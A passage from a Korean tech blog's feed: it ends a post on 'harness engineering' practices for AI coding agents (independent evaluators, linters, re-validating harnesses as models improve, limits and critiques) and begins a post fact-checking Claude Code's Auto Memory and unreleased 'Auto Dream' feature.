&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 레이어 경계 위반을 감지하는 린터 규칙 1개만 추가한다. (예: UI 컴포넌트에서 직접 DB 접근 금지). CI에 연결해서 에이전트가 생성한 코드에도 즉시 적용되게 한다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 3: 생성과 평가를 분리하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트에게 자기 작업을 평가하라고 하면 편향이 생긴다. &lt;b&gt;독립된 Evaluator&lt;/b&gt;를 두고, 그 Evaluator를 &quot;회의적(skeptical)&quot;으로 튜닝하는 것이 Generator를 자기 비판적으로 만드는 것보다 훨씬 쉽다. (Anthropic)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 다음 PR 리뷰를 에이전트에게 맡길 때, 코드를 작성한 인스턴스와 다른 독립 인스턴스에 &quot;이 PR의 문제점만 찾아라. 좋은 점은 생략해도 좋다&quot;는 회의적 프롬프트로 리뷰를 요청해본다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 4: 에이전트에게 앱을 &quot;보여줘라&quot;&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Chrome DevTools Protocol, Playwright MCP, 로컬 관측성 스택(로그/메트릭/트레이스)을 에이전트에 연결하여, 에이전트가 &lt;b&gt;실행 중인 앱을 직접 구동하고 검증&lt;/b&gt;할 수 있게 한다. (OpenAI + Anthropic 공통)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 에이전트에게 새 기능을 구현하게 하기 전에, 먼저 &quot;로컬에서 앱을 실행하고 현재 동작을 스크린샷으로 캡처한 뒤 알려달라&quot;고 요청해본다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 5: 모델이 바뀌면 하네스를 재검증하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;하네스의 모든 구성 요소는 &quot;모델이 못하는 것&quot;에 대한 가정이다. 새 모델이 나오면 &lt;b&gt;한 번에 하나씩 제거&lt;/b&gt;하며 여전히 필요한지 검증한다. 필요 없는 구성은 제거하고, 새로 가능해진 영역에 하네스를 확장한다. (Anthropic)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 모델 버전이 올라갈 때마다 주요 에이전트 작업 3개를 선정해 이전/이후 결과를 비교한다. 예상보다 더 잘 되거나 더 안 되는 태스크가 있으면 하네스 조정 신호다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 6: 엔트로피를 가비지 컬렉션하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트 생성 코드는 시간이 지나면 반드시 드리프트한다. &quot;golden principles&quot;를 정의하고, &lt;b&gt;정기적으로 스캔 &amp;rarr; 리팩토링 PR&lt;/b&gt;을 여는 백그라운드 프로세스를 만든다. 기술 부채는 소량씩 계속 갚는 것이 한꺼번에 처리하는 것보다 낫다. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 월 1회 에이전트에게 &quot;이 리포지토리에서 더 이상 참조되지 않는 파일, 죽은 코드, 미사용 의존성 목록을 작성해달라&quot;고 요청한다. 가비지 컬렉션의 시작점이다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 7: &quot;지루한&quot; 기술을 선택하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Boring&quot; 기술(안정적 API, 높은 조합성, 훈련 데이터에 풍부)이 에이전트에게 더 쉽다. 때로는 외부 라이브러리를 쓰는 것보다 &lt;b&gt;에이전트가 하위 기능을 직접 구현&lt;/b&gt;하게 하는 것이 더 낫다 &amp;mdash; 100% 테스트 커버리지와 런타임 기대에 정확히 맞출 수 있으므로. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; 다음 아키텍처 결정 시 새로운 프레임워크 대신 에이전트가 학습 데이터로 가장 많이 봤을 기술(PostgreSQL, FastAPI, React, Spring Boot 등)을 먼저 검토한다. 혁신은 비즈니스 로직에서 하고, 인프라는 boring하게 유지한다.&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 제한사항 및 열린 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 글 모두 인정하는 한계&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;장기 일관성 미검증&lt;/b&gt;: OpenAI는 &quot;완전 에이전트 생성 시스템의 아키텍처 일관성이 수년에 걸쳐 어떻게 진화하는지 아직 모른다&quot;고 인정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;: Anthropic 하네스의 풀스택 앱 하나가 $124.70~$200. 개인 개발자에게는 부담스러울 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;재현성&lt;/b&gt;: OpenAI는 &quot;이 동작은 이 리포지토리의 특정 구조와 도구에 크게 의존하며, 유사한 투자 없이 일반화될 것으로 가정해서는 안 된다&quot;고 명시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Evaluator의 한계&lt;/b&gt;: Anthropic의 Evaluator도 &quot;깊이 중첩된 기능의 미발견 버그, 비직관적 인터랙션, 작은 레이아웃 이슈&quot;를 놓친다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;맛(Taste)의 인코딩&lt;/b&gt;: OpenAI는 &quot;인간의 판단이 가장 큰 레버리지를 제공하는 곳이 어디인지, 그 판단을 어떻게 인코딩해서 복리로 쌓이게 하는지&quot; 아직 배우고 있다고 말한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 20px; border-radius: 12px; border-left: 5px solid #f0a500; margin: 20px 0;&quot;&gt;&lt;b&gt;ETH 취리히 연구의 반론&lt;/b&gt;&lt;br /&gt;2026년 ETH 취리히 연구팀이 138개 에이전트 설정 파일을 분석한 결과, &lt;b&gt;LLM이 자동 생성한 설정 파일은 오히려 성능을 저하&lt;/b&gt;시켰으며, 인간이 정성껏 작성한 파일도 평균 4% 미만의 성능 기여에 그쳤다. 이 연구는 &quot;AGENTS.md를 잘 쓰면 에이전트가 좋아진다&quot;는 전제를 재검토하게 만든다. 물론 단일 연구의 독립 검증이 필요하지만, &lt;b&gt;설정 파일이 만능 해법은 아니며 하네스의 다른 요소(도구 설계, 피드백 루프)가 더 중요할 수 있다&lt;/b&gt;는 점을 시사한다.&lt;br /&gt;&lt;small style=&quot;color: #888;&quot;&gt;(참고: HumanLayer - Skill Issue 분석, 독립 검증 필요)&lt;/small&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Bitter Lesson 논쟁: 하네스는 결국 불필요해지는가?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Richard Sutton의 &lt;a href=&quot;http://www.incompleteideas.net/IncIdeas/BitterLesson.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bitter Lesson&lt;/a&gt;은 &quot;일반적인 방법(더 큰 컴퓨팅)이 결국 도메인 특화 방법을 이긴다&quot;고 말한다. 이 관점에서 보면, 하네스는 모델이 아직 못하는 것을 메꾸는 &lt;b&gt;임시방편&lt;/b&gt;일 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI의 Noam Brown도 &lt;i&gt;&quot;사람들이 추론 모델 위에 스캐폴딩을 만들고 있지만, 그 스캐폴드도 결국 더 능력 있는 모델로 대체될 것&quot;&lt;/i&gt;이라고 말했다 (참고: &lt;a href=&quot;https://www.latent.space/p/ainews-is-harness-engineering-real&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Latent Space, 2026-03-05&lt;/a&gt;). 반면 Hugo Bowne-Anderson은 &lt;i&gt;&quot;좋은 하네스는 그 자체가 일반적 방법이다 &amp;mdash; 컨텍스트를 관리하고, 에러에서 복구하고, 상태를 유지하는 방식이 모델 능력과 함께 확장된다&quot;&lt;/i&gt;며, 핵심 원칙으로 &lt;b&gt;&quot;삭제를 위해 만들어라(Build for deletion)&quot;&lt;/b&gt;를 제안한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 답이 여기에 있다: 모델이 좋아지면 하네스 구성을 하나씩 제거하며 재검증한다. Opus 4.5에서 4.6으로 올라갔을 때 스프린트 분해와 컨텍스트 리셋을 제거한 것이 정확히 이 원칙의 실천이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Nothing New&quot; 비판&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비판도 있다. X의 @GenAI_is_real은 &lt;i&gt;&quot;이 사람들은 오래된 개념에 새 이름을 붙이는 것 외에 아이디어가 있는 건가?&quot;&lt;/i&gt;라고 썼다 (&lt;a href=&quot;https://x.com/GenAI_is_real/status/2036266930290696599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;). 하네스 엔지니어링이 결국 관심사 분리(Separation of Concerns), docs-as-code, CI/CD의 리브랜딩이라는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이에 대해 Martin Fowler / Birgitta Bockeler는 &lt;i&gt;&quot;이 분야에서 처음으로 마음에 드는 용어다&quot;&lt;/i&gt;라며, 프레이밍 자체가 실무적 가치를 가진다고 반론했다. 실제로 &quot;에이전트를 위한 환경 설계&quot;라는 프레임은 기존 소프트웨어 엔지니어링 원칙을 &lt;b&gt;에이전트 시대에 맞게 재조직&lt;/b&gt;하는 데 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;양쪽 모두 솔직하게 인정하는 점이 있다: &lt;b&gt;이 분야는 아직 초기이다.&lt;/b&gt; 하네스 엔지니어링은 2026년에 막 이름을 얻은 개념이며, &quot;정답&quot;은 아직 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 20px 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한계가 분명히 존재한다. 그럼에도 방향은 명확하다. 에이전트가 생성한 코드 100만 줄이 이미 프로덕션에서 작동하고 있다는 사실, GAN 구조로 주관적 품질을 점수화할 수 있다는 발견, 그리고 모델이 좋아질수록 하네스가 단순해진다는 경험적 증거 &amp;mdash; 이것들이 &quot;하네스 엔지니어링&quot;이 단순한 유행어가 아님을 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI와 Anthropic이 한 달 간격으로 같은 키워드의 엔지니어링 블로그를 발표한 것은, &lt;b&gt;&quot;코드를 짜는 것이 아니라 환경을 설계하는 것&quot;&lt;/b&gt;이 AI 시대 엔지니어링의 핵심이 되었다는 신호이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;당신의 프로젝트에서 시작하기&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md / CLAUDE.md를 &quot;목차&quot;로 재구성한다. 100줄 이내로.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Slack/Notion에 있는 핵심 설계 결정을 리포지토리 &lt;code&gt;docs/&lt;/code&gt;로 옮긴다. 에이전트가 볼 수 있게.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2주 안에&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;가장 중요한 아키텍처 불변량 1~2개를 린터로 강제한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;한 달 후&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드 리뷰에 독립 평가 에이전트를 도입하고, 주기적 &quot;가비지 컬렉션&quot; 프로세스를 만든다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 Prithvi Rajasekaran이 쓴 문장으로 마무리한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;하네스의 흥미로운 조합 공간은 모델이 좋아져도 줄어들지 않는다. &lt;b&gt;이동할 뿐이다.&lt;/b&gt; AI 엔지니어의 일은 다음의 새로운 조합을 계속 찾는 것이다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;OpenAI: &lt;a href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Engineering: Leveraging Codex in an Agent-First World&lt;/a&gt; (2026-02-11)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic: &lt;a href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Design for Long-Running Application Development&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic (선행 연구): &lt;a href=&quot;https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Effective Harnesses for Long-Running Agents&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic: &lt;a href=&quot;https://www.anthropic.com/research/building-effective-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Building Effective Agents&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic: &lt;a href=&quot;https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Effective Context Engineering for AI Agents&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;OpenAI (선행 연구): &lt;a href=&quot;https://openai.com/index/unlocking-the-codex-harness/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Unlocking the Codex Harness&lt;/a&gt; (2026-02-04)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Ralph Wiggum Loop: &lt;a href=&quot;https://ghuntley.com/loop/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ghuntley.com/loop&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/하네스 엔지니어링</category>
      <category>AGENTS.md 설계</category>
      <category>AI 에이전트 하네스</category>
      <category>Anthropic 하네스 디자인</category>
      <category>Claude Code 에이전트</category>
      <category>OpenAI 코딩 에이전트</category>
      <category>멀티 에이전트 오케스트레이션</category>
      <category>에이전트 코딩 도구</category>
      <category>컨텍스트 엔지니어링</category>
      <category>하네스 설계 원칙</category>
      <category>하네스 엔지니어링</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/565</guid>
      <comments>https://goddaehee.tistory.com/565#entry565comment</comments>
      <pubDate>Thu, 26 Mar 2026 23:12:55 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code Auto Memory vs Auto Dream 정리 : AI가 잠자면서 기억을 정리한다? Auto Dream 기능의 진실</title>
      <link>https://goddaehee.tistory.com/564</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&quot;Claude Code Memory 2.0&quot;이라는 표현이 돌고 있다. &quot;Auto Dream&quot;이라는 기능이 나왔고, AI가 잠자면서 기억을 정리한다는 것이다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XyQm5/dJMcadH9yfr/yvY3SQ1UGtjK7odzwX2dh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XyQm5/dJMcadH9yfr/yvY3SQ1UGtjK7odzwX2dh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XyQm5/dJMcadH9yfr/yvY3SQ1UGtjK7odzwX2dh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXyQm5%2FdJMcadH9yfr%2FyvY3SQ1UGtjK7odzwX2dh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;결론부터 말하면: &quot;Memory 2.0&quot;은 공식 용어가 아니고, Auto Dream은 공식 문서에 없다. 하지만 코드 안에는 실제로 존재한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code의 &lt;code&gt;/memory&lt;/code&gt; 메뉴에 &quot;Auto-dream: off&quot;라는 토글이 표시된다. 내부 시스템 프롬프트에 &lt;i&gt;&quot;You are performing a dream &amp;mdash; a reflective pass over your memory files&quot;&lt;/i&gt;라는 문구가 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB09tk%2FdJMcacJjoru%2Fz4oEnvG0GneQRwQA6CHnS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;520&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;일부 사용자에게는 이미 활성화되어 &quot;last ran 1d ago&quot;라고 표시된다 (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt; 커뮤니티 리포트 기준, 공식 문서 미기재).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;하지만 자동 실행이 활성화된 사용자를 포함해 모든 사용자에서 &lt;code&gt;/dream&lt;/code&gt; 수동 명령어는 &quot;Unknown skill&quot;을 반환한다 &amp;mdash; 자동 실행과 수동 명령어는 별개로 구현되어 있다 (v2.1.88까지, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;, 2026-03-31 확인).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 공식 문서와 소스 코드 분석을 기반으로, 현재 실제로 사용할 수 있는 메모리 기능과 아직 사용할 수 없는 Auto Dream을 정확히 구분한다. 그리고 Auto Dream이 없어도 메모리를 효과적으로 관리하는 실전 방법을 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팩트체크: &quot;Memory 2.0&quot; 소문 vs 실체
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 이런 혼동이 생겼는가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Memory &amp;mdash; 지금 사용할 수 있는 기능
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;작동 원리&lt;/li&gt;
&lt;li&gt;저장 구조와 200줄 제한&lt;/li&gt;
&lt;li&gt;뭘 기억하고, 뭘 안 기억하는가&lt;/li&gt;
&lt;li&gt;설정 및 관리&lt;/li&gt;
